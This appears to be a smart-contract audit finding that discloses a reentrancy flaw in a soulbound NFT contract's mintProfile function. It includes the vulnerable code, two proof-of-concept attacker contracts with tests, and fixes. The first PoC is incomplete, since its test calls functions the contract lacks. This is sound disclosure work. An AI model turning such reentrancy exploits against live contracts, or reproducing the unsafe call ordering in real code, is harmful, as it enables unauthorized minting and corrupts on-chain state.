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AI First Flight #6
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EXP
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Submission Details
Severity: medium
Valid

H-3: `mintProfile` reentrancy mints unlimited profiles and orphans unburnable NFTs

rubabbel

Root + Impact

_safeMint invokes onERC721Received on the caller before profileToToken[msg.sender] is written, so a contract caller re-enters mintProfile while the one-profile guard still passes. This breaks the one-profile-per-address invariant and leaves extra soulbound tokens owned but unmapped — they can neither be transferred (soulbound) nor burned (burnProfile only touches the mapped token), so they are permanently stuck.

Description

// src/SoulboundProfileNFT.sol
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
@> _safeMint(msg.sender, tokenId); // external callback BEFORE state write
@> // re-entry here sees profileToToken[msg.sender] == 0 -> guard passes
_profiles[tokenId] = Profile(name, age, profileImage);
@> profileToToken[msg.sender] = tokenId; // outer frame overwrites inner mapping
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

Risk

Likelihood: Medium — any contract wallet/attacker implementing onERC721Received.

Impact: One address can hold arbitrarily many soulbound profiles; orphaned tokens cannot be transferred or burned, permanently corrupting identity state and the profileToToken/ownerOf/_profiles consistency.

Proof of Concept

contract ReentrantMinter is IERC721Receiver {
SoulboundProfileNFT nft;
uint256 depth;
uint256 maxDepth = 2;
​
function onERC721Received(address, address, uint256, bytes calldata)
external override returns (bytes4)
{
if (depth < maxDepth) {
depth++;
nft.mintProfile("mallory", 30, "ipfs://m"); // re-enter
}
return IERC721Receiver.onERC721Received.selector;
}
}
​
function test_MintReentrancyMultipleProfiles() public {
ReentrantMinter attacker = new ReentrantMinter(nft);
attacker.attack();
​
assertEq(nft.balanceOf(address(attacker)), 3); // > 1 profile
assertEq(nft.profileToToken(address(attacker)), 1); // maps only the outer token
assertEq(nft.ownerOf(2), address(attacker)); // orphan
vm.prank(address(attacker));
nft.burnProfile(); // burns token 1 only
assertEq(nft.ownerOf(2), address(attacker)); // orphan survives forever
}

Recommended Mitigation

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
+ profileToToken[msg.sender] = tokenId; // set BEFORE safeMint
+ _profiles[tokenId] = Profile(name, age, profileImage);
- _safeMint(msg.sender, tokenId);
- _profiles[tokenId] = Profile(name, age, profileImage);
- profileToToken[msg.sender] = tokenId;
+ _safeMint(msg.sender, tokenId);
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

Or use _mint (no receiver callback) or add a nonReentrant guard.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 6 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-04] Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations

## Description In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation. Source Code: ```solidity function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ``` ## Vulnerability Details Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs: ```solidity function testReentrancyMultipleNft() public { MaliciousContract maliciousContract = new MaliciousContract( address(soulboundNFT) ); vm.prank(address(maliciousContract)); MaliciousContract(maliciousContract).attack(); assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2); assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1); } ``` ```Solidity contract MaliciousContract { SoulboundProfileNFT soulboundNFT; uint256 counter; constructor(address _soulboundNFT) { soulboundNFT = SoulboundProfileNFT(_soulboundNFT); } // Malicious reentrancy attack function attack() external { soulboundNFT.mintProfile("Evil", 99, "malicious.png"); } // Malicious onERC721Received function function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4) { // Reenter the mintProfile function if (counter == 0) { counter++; soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png"); } return 0x150b7a02; } } ``` ## Impact The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint. I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. ## Recommendations To follow CEI properly, move `_safeMint` to the end: ```diff function mintProfile(string memory name, uint8 age, string memory profileImage) external { require(profileToToken[msg.sender] == 0, "Profile already exists"); uint256 tokenId = ++_nextTokenId; - _safeMint(msg.sender, tokenId); // Store metadata on-chain _profiles[tokenId] = Profile(name, age, profileImage); profileToToken[msg.sender] = tokenId; + _safeMint(msg.sender, tokenId); emit ProfileMinted(msg.sender, tokenId, name, age, profileImage); } ```

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